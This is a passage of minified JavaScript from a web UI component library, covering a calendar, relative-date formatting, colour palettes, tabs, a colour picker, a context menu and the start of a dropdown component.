e=d.querySelector(".jcalendar-selected");e&&e.classList.contains("jcalendar-disabled")?(E.setAttribute("disabled","disabled"),C.setAttribute("disabled","disabled"),T.setAttribute("disabled","disabled")):(E.removeAttribute("disabled"),C.removeAttribute("disabled"),T.removeAttribute("disabled")),"function"==typeof i.options.onupdate&&i.options.onupdate(t,i.getValue())},d=null,p=null,h=null,f=null,m=null,g=null,y=null,b=null,x=null,w=null,L=null,j=null,E=null,C=null,T=null;return function(){"INPUT"==t.tagName&&t.value&&(n.value=t.value),(p=document.createElement("div")).className="jcalendar-reset",(h=document.createElement("div")).className="jcalendar-confirm",(w=document.createElement("div")).className="jcalendar-controls",w.style.borderBottom="1px solid #ddd",w.appendChild(p),w.appendChild(h),(f=document.createElement("div")).className="jcalendar-container",(m=document.createElement("div")).className="jcalendar-content",f.appendChild(m),"DIV"==t.tagName?(d=t).classList.add("jcalendar-inline"):(m.appendChild(w),(d=document.createElement("div")).className="jcalendar"),d.classList.add("jcalendar-container"),d.appendChild(f);var s=document.createElement("div");s.className="jcalendar-table",m.appendChild(s);var l=document.createElement("td");l.setAttribute("colspan","2"),l.className="jcalendar-prev",(g=document.createElement("span")).className="jcalendar-year",(y=document.createElement("span")).className="jcalendar-month";var c=document.createElement("td");c.className="jcalendar-header",c.setAttribute("colspan","3"),c.appendChild(y),c.appendChild(g);var u=document.createElement("td");u.setAttribute("colspan","2"),u.className="jcalendar-next";var k=document.createElement("thead"),A=document.createElement("tr");A.appendChild(l),A.appendChild(c),A.appendChild(u),k.appendChild(A),b=document.createElement("table"),x=document.createElement("tbody"),b.setAttribute("cellpadding","0"),b.setAttribute("cellspacing","0"),b.appendChild(k),b.appendChild(x),s.appendChild(b),(C=document.createElement("select")).className="jcalendar-select",C.onchange=function(){i.date[3]=this.value,"function"==typeof i.options.onupdate&&i.options.onupdate(t,i.getValue())};for(var M=0;M<24;M++)(D=document.createElement("option")).value=M,D.innerHTML=r.two(M),C.appendChild(D);for((T=document.createElement("select")).className="jcalendar-select",T.onchange=function(){i.date[4]=this.value,"function"==typeof i.options.onupdate&&i.options.onupdate(t,i.getValue())},M=0;M<60;M++){var D;(D=document.createElement("option")).value=M,D.innerHTML=r.two(M),T.appendChild(D)}var O=document.createElement("div");O.className="jcalendar-controls",(L=document.createElement("div")).className="jcalendar-time",L.style.maxWidth="140px",L.appendChild(C),L.appendChild(T),(E=document.createElement("button")).setAttribute("type","button"),E.className="jcalendar-update",(j=document.createElement("div")).style.flexGrow="10",j.appendChild(E),O.appendChild(L),"INPUT"==t.tagName&&O.appendChild(j),m.appendChild(O);var N=document.createElement("div");N.className="jcalendar-backdrop",d.appendChild(N),t.addEventListener("keyup",a),d.addEventListener("swipeleft",(function(e){v.slideLeft(b,0,(function(){i.next(),v.slideRight(b,1)})),e.preventDefault(),e.stopPropagation()})),d.addEventListener("swiperight",(function(e){v.slideRight(b,0,(function(){i.prev(),v.slideLeft(b,1)})),e.preventDefault(),e.stopPropagation()})),"ontouchend"in document.documentElement==1?(d.addEventListener("touchend",o),t.addEventListener("touchend",i.open)):(d.addEventListener("mouseup",o),t.addEventListener("mouseup",i.open)),e.hasEvents||(e.hasEvents=!0,document.addEventListener("keydown",e.keydown)),i.setOptions(n),"INPUT"==t.tagName?(t.parentNode.insertBefore(d,t.nextSibling),t.setAttribute("autocomplete","off"),t.classList.add("jcalendar-input"),t.value=i.setLabel(i.getValue(),i.options)):(i.getDays(),i.options.time&&(C.value=i.date[3],T.value=i.date[4])),1==i.options.opened&&i.open(),0==i.options.controls&&f.classList.add("jcalendar-hide-controls"),t.change=i.setValue,t.val=function(e){if(void 0===e)return i.getValue();i.setValue(e)},t.calendar=d.calendar=i}(),i};return e.keydown=function(t){var n=null;(n=e.current)&&(13==t.which?n.close(!1,!0):27==t.which&&n.close(!1,!1))},e.prettify=function(e,t){t||(t={justNow:"Just now",xMinutesAgo:"{0}m ago",xHoursAgo:"{0}h ago",xDaysAgo:"{0}d ago",xWeeksAgo:"{0}w ago",xMonthsAgo:"{0} mon ago",xYearsAgo:"{0}y ago"}),-1===e.indexOf("GMT")&&-1===e.indexOf("Z")&&(e+=" GMT");var n=new Date,i=new Date(e),o=parseInt((n-i)/1e3/60);if(String.prototype.format=function(e){return this.replace("{0}",e)},0==o)var a=t.justNow;else a=o<90?t.xMinutesAgo.format(o):o<1440?t.xHoursAgo.format(Math.round(o/60)):o<20160?t.xDaysAgo.format(Math.round(o/1440)):o<43200?t.xWeeksAgo.format(Math.round(o/10080)):o<1036800?t.xMonthsAgo.format(Math.round(o/43200)):t.xYearsAgo.format(Math.round(o/525600));return a},e.prettifyAll=function(){for(var t=document.querySelectorAll(".prettydate"),n=0;n<t.length;n++)t[n].getAttribute("data-date")?t[n].innerHTML=e.prettify(t[n].getAttribute("data-date")):t[n].innerHTML&&(t[n].setAttribute("title",t[n].innerHTML),t[n].setAttribute("data-date",t[n].innerHTML),t[n].innerHTML=e.prettify(t[n].innerHTML))},e.now=l.now,e.toArray=l.toArray,e.dateToNum=l.dateToNum,e.numToDate=l.numToDate,e.weekdays=l.weekdays,e.months=l.months,e.weekdaysShort=l.weekdaysShort,e.monthsShort=l.monthsShort,e.extractDateFromString=g.extractDateFromString,e.getDateString=g.getDateString,e}(),b=function(){var e={material:[["#ffebee","#fce4ec","#f3e5f5","#e8eaf6","#e3f2fd","#e0f7fa","#e0f2f1","#e8f5e9","#f1f8e9","#f9fbe7","#fffde7","#fff8e1","#fff3e0","#fbe9e7","#efebe9","#fafafa","#eceff1"],["#ffcdd2","#f8bbd0","#e1bee7","#c5cae9","#bbdefb","#b2ebf2","#b2dfdb","#c8e6c9","#dcedc8","#f0f4c3","#fff9c4","#ffecb3","#ffe0b2","#ffccbc","#d7ccc8","#f5f5f5","#cfd8dc"],["#ef9a9a","#f48fb1","#ce93d8","#9fa8da","#90caf9","#80deea","#80cbc4","#a5d6a7","#c5e1a5","#e6ee9c","#fff59d","#ffe082","#ffcc80","#ffab91","#bcaaa4","#eeeeee","#b0bec5"],["#e57373","#f06292","#ba68c8","#7986cb","#64b5f6","#4dd0e1","#4db6ac","#81c784","#aed581","#dce775","#fff176","#ffd54f","#ffb74d","#ff8a65","#a1887f","#e0e0e0","#90a4ae"],["#ef5350","#ec407a","#ab47bc","#5c6bc0","#42a5f5","#26c6da","#26a69a","#66bb6a","#9ccc65","#d4e157","#ffee58","#ffca28","#ffa726","#ff7043","#8d6e63","#bdbdbd","#78909c"],["#f44336","#e91e63","#9c27b0","#3f51b5","#2196f3","#00bcd4","#009688","#4caf50","#8bc34a","#cddc39","#ffeb3b","#ffc107","#ff9800","#ff5722","#795548","#9e9e9e","#607d8b"],["#e53935","#d81b60","#8e24aa","#3949ab","#1e88e5","#00acc1","#00897b","#43a047","#7cb342","#c0ca33","#fdd835","#ffb300","#fb8c00","#f4511e","#6d4c41","#757575","#546e7a"],["#d32f2f","#c2185b","#7b1fa2","#303f9f","#1976d2","#0097a7","#00796b","#388e3c","#689f38","#afb42b","#fbc02d","#ffa000","#f57c00","#e64a19","#5d4037","#616161","#455a64"],["#c62828","#ad1457","#6a1b9a","#283593","#1565c0","#00838f","#00695c","#2e7d32","#558b2f","#9e9d24","#f9a825","#ff8f00","#ef6c00","#d84315","#4e342e","#424242","#37474f"],["#b71c1c","#880e4f","#4a148c","#1a237e","#0d47a1","#006064","#004d40","#1b5e20","#33691e","#827717","#f57f17","#ff6f00","#e65100","#bf360c","#3e2723","#212121","#263238"]],fire:[["0b1a6d","840f38","b60718","de030b","ff0c0c","fd491c","fc7521","faa331","fbb535","ffc73a"],["071147","5f0b28","930513","be0309","ef0000","fa3403","fb670b","f9991b","faad1e","ffc123"],["03071e","370617","6a040f","9d0208","d00000","dc2f02","e85d04","f48c06","faa307","ffba08"],["020619","320615","61040d","8c0207","bc0000","c82a02","d05203","db7f06","e19405","efab00"],["020515","2d0513","58040c","7f0206","aa0000","b62602","b94903","c57205","ca8504","d89b00"]],baby:[["eddcd2","fff1e6","fde2e4","fad2e1","c5dedd","dbe7e4","f0efeb","d6e2e9","bcd4e6","99c1de"],["e1c4b3","ffd5b5","fab6ba","f5a8c4","aacecd","bfd5cf","dbd9d0","baceda","9dc0db","7eb1d5"],["daa990","ffb787","f88e95","f282a9","8fc4c3","a3c8be","cec9b3","9dbcce","82acd2","649dcb"],["d69070","ff9c5e","f66770","f05f8f","74bbb9","87bfae","c5b993","83aac3","699bca","4d89c2"],["c97d5d","f58443","eb4d57","e54a7b","66a9a7","78ae9c","b5a67e","7599b1","5c88b7","4978aa"]],chart:[["#C1D37F","#4C5454","#FFD275","#66586F","#D05D5B","#C96480","#95BF8F","#6EA240","#0F0F0E","#EB8258","#95A3B3","#995D81"]]},t=function(t){return e[t]?e[t]:e.material};return t.get=function(t){return e[t]?e[t]:e},t.set=function(t,n){e[t]=n},t}();function x(e,t){var n={options:{}},i={data:[],position:null,allowCreate:!1,allowChangePosition:!1,onclick:null,onload:null,onchange:null,oncreate:null,ondelete:null,onbeforecreate:null,onchangeposition:null,animation:!1,hideHeaders:!1,padding:null,palette:null,maxWidth:null};for(var o in i)t&&t.hasOwnProperty(o)?n.options[o]=t[o]:n.options[o]=i[o];e.classList.add("jtabs");var a=null,s=null,r=null,l=function(e){if(n.options.animation){var t=n.headers.children[e].getBoundingClientRect();"modern"===n.options.palette?(r.style.width=t.width-4+"px",r.style.left=n.headers.children[e].offsetLeft+2+"px"):(r.style.width=t.width+"px",r.style.left=n.headers.children[e].offsetLeft+"px"),"bottom"===n.options.position?r.style.top="0px":r.style.bottom="0px"}},d=function(e){"function"==typeof n.headers.scrollTo?n.headers.scrollTo({left:e,behavior:"smooth"}):n.headers.scrollLeft=e,e<=1?a.classList.add("disabled"):a.classList.remove("disabled"),e>=n.headers.scrollWidth-n.headers.offsetWidth?s.classList.add("disabled"):s.classList.remove("disabled"),n.headers.scrollWidth<=n.headers.offsetWidth?(a.style.display="none",s.style.display="none"):(a.style.display="",s.style.display="")};if(n.setBorder=l,n.open=function(t){for(var i=null,o=0;o<n.headers.children.length;o++)n.headers.children[o].classList.contains("jtabs-selected")&&(i=o),n.headers.children[o].classList.remove("jtabs-selected"),n.content.children[o]&&n.content.children[o].classList.remove("jtabs-selected");if(n.headers.children[t].classList.add("jtabs-selected"),n.content.children[t]&&n.content.children[t].classList.add("jtabs-selected"),i!=t&&"function"==typeof n.options.onchange&&n.content.children[t]&&n.options.onchange(e,n,t,n.headers.children[t],n.content.children[t]),1==n.options.hideHeaders&&n.headers.children.length<3&&0==n.options.allowCreate)n.headers.parentNode.style.display="none";else{l(t),n.headers.parentNode.style.display="";var a=n.headers.children[t].offsetLeft,s=a+n.headers.children[t].offsetWidth,r=n.headers.scrollLeft,c=r+n.headers.offsetWidth;r<=a&&c>=s||d(a-1)}},n.selectIndex=function(e){var t=Array.prototype.indexOf.call(n.headers.children,e);return t>=0&&n.open(t),t},n.rename=function(e,t){t||(t=prompt("New title",n.headers.children[e].innerText)),n.headers.children[e].innerText=t,n.open(e)},n.create=function(t,i){if("function"==typeof n.options.onbeforecreate){var o=n.options.onbeforecreate(e);if(!1===o)return!1;t=o}var a=n.appendElement(t);return"function"==typeof n.options.oncreate&&n.options.oncreate(e,a),l(),a},n.remove=function(e){return n.deleteElement(e)},n.nextNumber=function(){for(var e=0,t=0;t<n.headers.children.length;t++){var i=n.headers.children[t].innerText.match(/[0-9].*/);i>e&&(e=parseInt(i))}return e?e++:e=1,e},n.deleteElement=function(t){if(!n.headers.children[t])return!1;n.headers.removeChild(n.headers.children[t]),n.content.removeChild(n.content.children[t]),n.open(0),"function"==typeof n.options.ondelete&&n.options.ondelete(e,t)},n.appendElement=function(e,t){if(e||(e=prompt("Title?","")),e){var i=document.createElement("div");n.content.appendChild(i);var o=document.createElement("div");return o.innerHTML=e,o.content=i,n.headers.insertBefore(o,n.headers.lastChild),n.options.allowChangePosition&&o.setAttribute("draggable","true"),n.selectIndex(o),"function"==typeof t&&t(i,o),i}},n.getActive=function(){for(var e=0;e<n.headers.children.length;e++)if(n.headers.children[e].classList.contains("jtabs-selected"))return e;return 0},n.updateContent=function(e,t){"string"!=typeof t||(document.createElement("div").innerHTML=t),n.content.children[e].classList.contains("jtabs-selected")&&t.classList.add("jtabs-selected"),n.content.replaceChild(t,n.content.children[e]),l()},n.updatePosition=function(e,t){e>t?n.content.insertBefore(n.content.children[e],n.content.children[t]):n.content.insertBefore(n.content.children[e],n.content.children[t].nextSibling),n.open(t),"function"==typeof n.options.onchangeposition&&n.options.onchangeposition(n.headers,e,t)},n.move=function(e,t){e>t?n.headers.insertBefore(n.headers.children[e],n.headers.children[t]):n.headers.insertBefore(n.headers.children[e],n.headers.children[t].nextSibling),n.updatePosition(e,t)},n.setBorder=l,n.init=function(){e.innerHTML="",n.headers=document.createElement("div"),n.content=document.createElement("div"),n.headers.classList.add("jtabs-headers"),n.content.classList.add("jtabs-content"),n.options.palette?e.classList.add("jtabs-modern"):e.classList.remove("jtabs-modern"),n.options.padding&&(n.content.style.padding=parseInt(n.options.padding)+"px");var t=document.createElement("div");t.className="jtabs-headers-container",t.appendChild(n.headers),n.options.maxWidth&&(t.style.maxWidth=parseInt(n.options.maxWidth)+"px");var i=document.createElement("div");if(i.className="jtabs-controls",i.setAttribute("draggable","false"),t.appendChild(i),"bottom"==n.options.position?(e.appendChild(n.content),e.appendChild(t)):(e.appendChild(t),e.appendChild(n.content)),1==n.options.allowCreate){var o=document.createElement("div");o.className="jtabs-add",o.onclick=function(){n.create()},i.appendChild(o)}(a=document.createElement("div")).className="jtabs-prev",a.onclick=function(){d(n.headers.scrollLeft-n.headers.offsetWidth)},i.appendChild(a),(s=document.createElement("div")).className="jtabs-next",s.onclick=function(){d(n.headers.scrollLeft+n.headers.offsetWidth)},i.appendChild(s);for(var l=0;l<n.options.data.length;l++){if(n.options.data[l].titleElement)var c=n.options.data[l].titleElement;else c=document.createElement("div");if(n.options.data[l].icon){var u=document.createElement("div"),p=document.createElement("i");p.classList.add("material-icons"),p.innerHTML=n.options.data[l].icon,u.appendChild(p),c.appendChild(u)}if(n.options.data[l].title){var f=document.createTextNode(n.options.data[l].title);c.appendChild(f)}if(n.options.data[l].width&&(c.style.width=n.options.data[l].width),n.options.data[l].contentElement)var m=n.options.data[l].contentElement;else(m=document.createElement("div")).innerHTML=n.options.data[l].content;n.headers.appendChild(c),n.content.appendChild(m)}(r=document.createElement("div")).className="jtabs-border",n.headers.appendChild(r),n.options.animation&&e.classList.add("jtabs-animation"),n.headers.addEventListener("click",(function(t){if(t.target.parentNode.classList.contains("jtabs-headers"))var i=t.target;else i="I"==t.target.tagName?t.target.parentNode.parentNode:t.target.parentNode;var o=n.selectIndex(i);"function"==typeof n.options.onclick&&n.options.onclick(e,n,o,n.headers.children[o],n.content.children[o])})),n.headers.addEventListener("contextmenu",(function(e){n.selectIndex(e.target)})),n.headers.children.length&&n.open(0),d(0),1==n.options.allowChangePosition&&h(n.headers,{direction:1,ondrop:function(e,t,i){n.updatePosition(t,i)}}),"function"==typeof n.options.onload&&n.options.onload(e,n)},e.children[0]&&e.children[0].children.length)for(var c=0;c<e.children[0].children.length;c++){var u=n.options.data&&n.options.data[c]?n.options.data[c]:{};e.children[1]&&e.children[1].children[c]?(u.titleElement=e.children[0].children[c],u.contentElement=e.children[1].children[c]):u.contentElement=e.children[0].children[c],n.options.data[c]=u}var p=!1;if(n.options.data)for(c=0;c<n.options.data.length;c++)n.options.data[c].url&&(m({url:n.options.data[c].url,type:"GET",dataType:"text/html",index:c,success:function(e){n.options.data[this.index].content=e},complete:function(){n.init()}}),p=!0);return p||n.init(),e.tabs=n,n}function w(e,t){if(e.color)return e.color.setOptions(t,!0);var n={type:"color",options:{}},i=null,o=null,a=null,s=null,l=null,d=null,c=null;n.setOptions=function(t,i){var o={placeholder:"",value:null,onopen:null,onclose:null,onchange:null,closeOnChange:!0,palette:null,position:null,doneLabel:"Done",resetLabel:"Reset",fullscreen:!1,opened:!1};for(var a in t||(t={}),t&&!t.palette&&(t.palette=b()),o)t&&t.hasOwnProperty(a)?n.options[a]=t[a]:void 0!==n.options[a]&&!0!==i||(n.options[a]=o[a]);return s&&(s.innerHTML=n.options.resetLabel),l&&(l.innerHTML=n.options.doneLabel),n.options.palette&&c&&c.updateContent(0,g()),"string"==typeof n.options.value&&(e.value=n.options.value,"INPUT"===e.tagName&&(e.style.color=e.value,e.style.backgroundColor=e.value)),n.options.placeholder?e.setAttribute("placeholder",n.options.placeholder):e.getAttribute("placeholder")&&e.removeAttribute("placeholder"),n},n.select=function(e){var t=i.querySelector(".jcolor-selected");t&&t.classList.remove("jcolor-selected"),n.values[e]&&n.values[e].classList.add("jcolor-selected"),n.options.value=e},n.open=function(){if(!i.classList.contains("jcolor-focus")){u(n,!0),i.classList.add("jcolor-focus"),n.options.value&&n.select(n.options.value),a.style.marginTop="",a.style.marginLeft="";var t=a.getBoundingClientRect(),s=r.getWindowWidth(),l=r.getWindowHeight();if(s<800||1==n.options.fullscreen?(a.classList.add("jcolor-fullscreen"),v.slideBottom(a,1),o.style.display="block"):(a.classList.contains("jcolor-fullscreen")&&(a.classList.remove("jcolor-fullscreen"),o.style.display=""),n.options.position?a.style.position="fixed":a.style.position="",t.left+t.width>s&&(a.style.marginLeft=-1*(t.left+t.width-(s-20))+"px"),t.top+t.height>l&&(a.style.marginTop=-1*(t.top+t.height-(l-20))+"px")),"function"==typeof n.options.onopen&&n.options.onopen(e,n),c.setBorder(c.getActive()),n.options.value){var d=m(n.options.value);T.forEach((function(e,t){e.value=d[t],e.dispatchEvent(new Event("input"))}))}}},n.close=function(t){return i.classList.contains("jcolor-focus")&&(i.classList.remove("jcolor-focus"),o.style.display="",t||"function"!=typeof n.options.onclose||n.options.onclose(e,n),u(n,!1)),n.options.value},n.setValue=function(t){t||(t=""),t!=n.options.value&&(n.options.value=t,C=t,n.select(t),"function"==typeof n.options.onchange&&n.options.onchange(e,t,n),e.value!=n.options.value&&(e.value=n.options.value,"INPUT"===e.tagName&&(e.style.color=e.value,e.style.backgroundColor=e.value),"function"==typeof e.oninput&&e.oninput({type:"input",target:e,value:e.value})),1==n.options.closeOnChange&&n.close())},n.getValue=function(){return n.options.value};var p=function(e){var t=e.toString(16);return 1===t.length?"0"+t:t},h=function(e,t,n){return"#"+p(e)+p(t)+p(n)},f=function(e){return parseInt("0x"+e)},m=function(e){return[f(e.substr(1,2)),f(e.substr(3,2)),f(e.substr(5,2))]},g=function(){var e=document.createElement("div");e.className="jcolor-grid",n.values=[];var t=document.createElement("table");t.setAttribute("cellpadding","7"),t.setAttribute("cellspacing","0");for(var i=0;i<n.options.palette.length;i++){for(var o=document.createElement("tr"),a=0;a<n.options.palette[i].length;a++){var s=document.createElement("td"),r=n.options.palette[i][a];r.length<7&&"#"!==r.substr(0,1)&&(r="#"+r),s.style.backgroundColor=r,s.setAttribute("data-value",r),s.innerHTML="",o.appendChild(s),n.options.value==r&&s.classList.add("jcolor-selected"),n.values[r]=s}t.appendChild(o)}return e.appendChild(t),e},y=document.createElement("canvas");y.width=200,y.height=160;var w=y.getContext("2d"),L=function(){var e=d.firstChild.getBoundingClientRect();y.width=e.width-14,j()},j=function(){var e=w.createLinearGradient(0,0,y.width,0);e.addColorStop(0,"rgb(255,0,0)"),e.addColorStop(.15,"rgb(255,0,255)"),e.addColorStop(.33,"rgb(0,0,255)"),e.addColorStop(.49,"rgb(0,255,255)"),e.addColorStop(.67,"rgb(0,255,0)"),e.addColorStop(.84,"rgb(255,255,0)"),e.addColorStop(1,"rgb(255,0,0)"),w.fillStyle=e,w.fillRect(0,0,y.width,y.height),(e=w.createLinearGradient(0,0,0,y.height)).addColorStop(0,"rgba(255,255,255,1)"),e.addColorStop(.5,"rgba(255,255,255,0)"),e.addColorStop(.5,"rgba(0,0,0,0)"),e.addColorStop(1,"rgba(0,0,0,1)"),w.fillStyle=e,w.fillRect(0,0,y.width,y.height)},E=function(){var e=document.createElement("div");e.className="jcolor-hsl";var t=document.createElement("div");t.className="jcolor-point";var n=document.createElement("div");n.appendChild(y),n.appendChild(t),e.appendChild(n);var i=function(n,i,o){if(1===n){var a=e.getBoundingClientRect(),s=i-a.left,r=o-a.top;s<0&&(s=0),r<0&&(r=0),s>a.width&&(s=a.width),r>a.height&&(r=a.height),t.style.left=s+"px",t.style.top=r+"px";var l=w.getImageData(s,r,1,1).data;C=h(l[0],l[1],l[2])}};return e.addEventListener("mousedown",(function(e){i(e.buttons,e.clientX,e.clientY)})),e.addEventListener("mousemove",(function(e){i(e.buttons,e.clientX,e.clientY)})),e.addEventListener("touchmove",(function(e){i(1,e.changedTouches[0].clientX,e.changedTouches[0].clientY)})),e},C="",T=[],k=function(){var e=document.createElement("div");e.className="jcolor-sliders";var t=document.createElement("div"),n=function(e){var n=document.createElement("div");n.className="jcolor-sliders-input-container";var i=document.createElement("label");i.innerText=e;var o=document.createElement("div");o.className="jcolor-sliders-input-subcontainer";var a=document.createElement("input");a.type="range",a.min=0,a.max=255,a.value=0,n.appendChild(i),o.appendChild(a);var s=document.createElement("div");return s.innerText=a.value,a.addEventListener("input",(function(){s.innerText=a.value})),o.appendChild(s),n.appendChild(o),t.appendChild(n),a};T=[n("Red"),n("Green"),n("Blue")],e.appendChild(t);var i=document.createElement("div");i.className="jcolor-sliders-final-color";var o=document.createElement("div");return o.style.visibility="hidden",o.innerText="a",i.appendChild(o),T.forEach((function(e){e.addEventListener("input",(function(){var e;e=h(parseInt(T[0].value),parseInt(T[1].value),parseInt(T[2].value)),o.innerText=e,o.style.color=e,o.style.removeProperty("visibility"),C=e,function(){if(""!==C)for(var e=0;e<T.length;e++){var t=m(C);t[e]=0;var n="linear-gradient(90deg, rgb(";n+=t.join(", "),n+="), rgb(",t[e]=255,n+=t.join(", "),n+="))",T[e].style.backgroundImage=n}}()}))})),e.appendChild(i),e};return n.toHex=function(e){var t=function(e){return("0"+parseInt(e).toString(16)).slice(-2)};if(e)return/^#[0-9A-F]{6}$/i.test(e)?e:(e=e.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/))&&e.length?"#"+t(e[1])+t(e[2])+t(e[3]):""},function(){n.setOptions(t),"INPUT"==e.tagName&&(e.classList.add("jcolor-input"),e.readOnly=!0),(i=document.createElement("div")).className="jcolor",(o=document.createElement("div")).className="jcolor-backdrop",i.appendChild(o),(a=document.createElement("div")).className="jcolor-content";var r=document.createElement("div");r.className="jcolor-controls",a.appendChild(r),(s=document.createElement("div")).className="jcolor-reset",s.innerHTML=n.options.resetLabel,r.appendChild(s),(l=document.createElement("div")).className="jcolor-close",l.innerHTML=n.options.doneLabel,r.appendChild(l),d=document.createElement("div"),a.appendChild(d),c=x(d,{animation:!0,data:[{title:"Grid",contentElement:g()},{title:"Spectrum",contentElement:E()},{title:"Sliders",contentElement:k()}],onchange:function(e,t,i){if(1===i)L();else{var o=""!==C?C:n.getValue();if(2===i&&o){var a=m(o);T.forEach((function(e,t){e.value=a[t],e.dispatchEvent(new Event("input"))}))}}},palette:"modern"}),i.appendChild(a),"INPUT"==e.tagName?e.parentNode.insertBefore(i,e.nextSibling):e.appendChild(i),i.addEventListener("click",(function(e){if("TD"==e.target.tagName){var t=e.target.getAttribute("data-value");t&&n.setValue(t)}else e.target.classList.contains("jcolor-reset")?(n.setValue(""),n.close()):e.target.classList.contains("jcolor-close")?(c.getActive()>0&&n.setValue(C),n.close()):e.target.classList.contains("jcolor-backdrop")?n.close():n.open()})),e.addEventListener("mouseup",(function(e){n.open()})),window.addEventListener("resize",(function(){i.classList.contains("jcolor-focus")&&1==c.getActive()&&L()})),1==n.options.opened&&n.open(),e.change=n.setValue,e.val=function(e){if(void 0===e)return n.getValue();n.setValue(e)},e.color=n,i.color=n}(),n}var L=function(){var e=function(t,n){var i={type:"contextmenu",options:{}},o={items:null,onclick:null};for(var a in o)n&&n.hasOwnProperty(a)?i.options[a]=n[a]:i.options[a]=o[a];function s(e){if(!e.type||"line"!=e.type&&"divisor"!=e.type){d=document.createElement("div");var t=document.createElement("a");if(t.innerHTML=e.title,e.tooltip&&d.setAttribute("title",e.tooltip),e.icon&&d.setAttribute("data-icon",e.icon),e.id&&(d.id=e.id),e.disabled?d.className="jcontextmenu-disabled":e.onclick&&(d.method=e.onclick,d.addEventListener("mousedown",(function(e){e.preventDefault()})),d.addEventListener("mouseup",(function(e){this.method(this,e)}))),d.appendChild(t),e.submenu){var n=document.createElement("span");n.innerHTML="&#9658;",d.appendChild(n),d.classList.add("jcontexthassubmenu");var i=document.createElement("div");i.classList.add("jcontextmenu"),i.setAttribute("tabindex","900");for(var o=e.submenu,a=0;a<o.length;a++){var r=s(o[a]);i.appendChild(r)}d.appendChild(i)}else if(e.shortcut){var l=document.createElement("span");l.innerHTML=e.shortcut,d.appendChild(l)}}else var d=document.createElement("hr");return d}return t.classList.add("jcontextmenu"),i.open=function(n,o){if(o&&(i.options.items=o,i.create(o)),e.current&&e.current.close(),u(i,!0),t.classList.add("jcontextmenu-focus"),e.current=i,i.options.items&&i.options.items.length>0||t.children.length){if(n.target)if(n.changedTouches&&n.changedTouches[0])a=n.changedTouches[0].clientX,s=n.changedTouches[0].clientY;else var a=n.clientX,s=n.clientY;else a=n.x,s=n.y;var r=t.getBoundingClientRect();if(window.innerHeight<s+r.height){var l=s-r.height;l<0&&(l=0),t.style.top=l+"px"}else t.style.top=s+"px";window.innerWidth<a+r.width?a-r.width>0?t.style.left=a-r.width+"px":t.style.left="10px":t.style.left=a+"px"}},i.isOpened=function(){return!!t.classList.contains("jcontextmenu-focus")},i.close=function(){t.classList.contains("jcontextmenu-focus")&&t.classList.remove("jcontextmenu-focus"),u(i,!1)},i.create=function(e){t.innerHTML="";var n=function(){var e=document.createElement("div");e.classList.add("header"),e.addEventListener("click",(function(e){e.preventDefault(),e.stopPropagation()}));var t=document.createElement("a");t.classList.add("title"),t.innerHTML=c.translate("Menu"),e.appendChild(t);var n=document.createElement("a");return n.classList.add("close"),n.innerHTML=c.translate("close"),n.addEventListener("click",(function(e){i.close()})),e.appendChild(n),e}();t.appendChild(n);for(var o=0;o<e.length;o++){var a=s(e[o]);t.appendChild(a)}},"function"==typeof i.options.onclick&&t.addEventListener("click",(function(e){i.options.onclick(i,e)})),i.options.items&&i.create(i.options.items),window.addEventListener("mousewheel",(function(){i.close()})),t.contextmenu=i,i};return e}(),j=function(){var e=function(t,n){if(t.dropdown)return t.dropdown.setOptions(n,!0);var i={type:"dropdown",options:{}},o=function(e,n){e&&e.length&&(!1!==i.options.sortResults&&("function"==typeof i.options.sortResults?e.sort(i.options.sortResults):e.sort(a)),i.setData(e)),"function"==typeof i.options.onload&&i.options.onload(t,i,e,n),n&&l(n),null==n&&(i.options.value=""),t.value=i.options.value,1==i.options.opened&&i.open()},a=function(e,t){var n,i;return"string"==typeof e?n=e:e.text?n=e.text:e.name&&(n=e.name),"string"==typeof t?i=t:t.text?i=t.text:t.name&&(i=t.name),"string"==typeof n||"string"==typeof i?("string"!=typeof n&&(n=""+n),"string"!=typeof i&&(i=""+i),n.localeCompare(i)):n-i},s=function(){i.value={};for(var e=0;e<i.items.length;e++)1==i.items[e].selected&&(i.items[e].element&&i.items[e].element.classList.remove("jdropdown-selected"),i.items[e].selected=null);i.options.value="",t.value=""},l=function(e){if(s(),null!==e)if(e){Array.isArray(e)||(e=(""+e).split(";"));for(var t=0;t<e.length;t++)i.value[e[t]]=""}else void 0!==i.value[""]&&(i.value[""]="");for(t=0;t<i.items.length;t++)void 0!==i.value[d(t)]&&(i.items[t].element&&i.items[t].element.classList.add("jdropdown-selected"),i.items[t].selected=!0,i.value[d(t)]=p(t));i.options.value=Object.keys(i.value).join(";"),i.header.value=i.getText()},d=function(e,t){if(i.options.format)n="id";else var n="value";return i.items[e]?void 0!==t?i.items[e].data[n]=t:i.items[e].data[n]:""},p=function(e,t){if(i.options.format)n="name";else var n="text";return i.items[e]?void 0!==t?i.items[e].data[n]=t:i.items[e].data[n]:""},h=function(){return Object.keys(i.value)},g=function(){for(var e=[],t=Object.keys(i.value),n=0;n<t.length;n++)e.push(i.value[t[n]]);return e};i.setOptions=function(e,n){e||(e={});var a={url:null,data:[],format:0,multiple:!1,autocomplete:!1,remoteSearch:!1,lazyLoading:!1,type:null,width:null,maxWidth:null,opened:!1,value:null,placeholder:"",newOptions:!1,position:!1,onchange:null,onload:null,onopen:null,onclose:null,onfocus:null,onblur:null,oninsert:null,onbeforeinsert:null,onsearch:null,onbeforesearch:null,sortResults:!1,autofocus:!1};for(var s in a)e&&e.hasOwnProperty(s)?i.options[s]=e[s]:void 0!==i.options[s]&&!0!==n||(i.options[s]=a[s]);return 1!=i.options.remoteSearch&&"searchbar"!==i.options.type||(i.options.autocomplete=!0),1==i.options.newOptions?i.header.classList.add("jdropdown-add"):i.header.classList.remove("jdropdown-add"),1==i.options.autocomplete?i.header.removeAttribute("readonly"):i.header.setAttribute("readonly","readonly"),i.options.placeholder?i.header.setAttribute("placeholder",i.options.placeholder):i.header.removeAttribute("placeholder"),t.classList.remove("jdropdown-searchbar"),t.classList.remove("jdropdown-picker"),t.classList.remove("jdropdown-list"),"searchbar"==i.options.type?t.classList.add("jdropdown-searchbar"):"list"==i.options.type?t.classList.add("jdropdown-list"):"picker"==i.options.type?t.classList.add("jdropdown-picker"):r.getWindowWidth()<800?i.options.autocomplete?(t.classList.add("jdropdown-searchbar"),i.options.type="searchbar"):(t.classList.add("jdropdown-picker"),i.options.type="picker"):(i.options.width?(t.style.width=i.options.width,t.style.minWidth=i.options.width):(t.style.removeProperty("width"),t.style.removeProperty("min-width")),t.classList.add("jdropdown-default"),i.options.type="default"),"searchbar"==i.options.t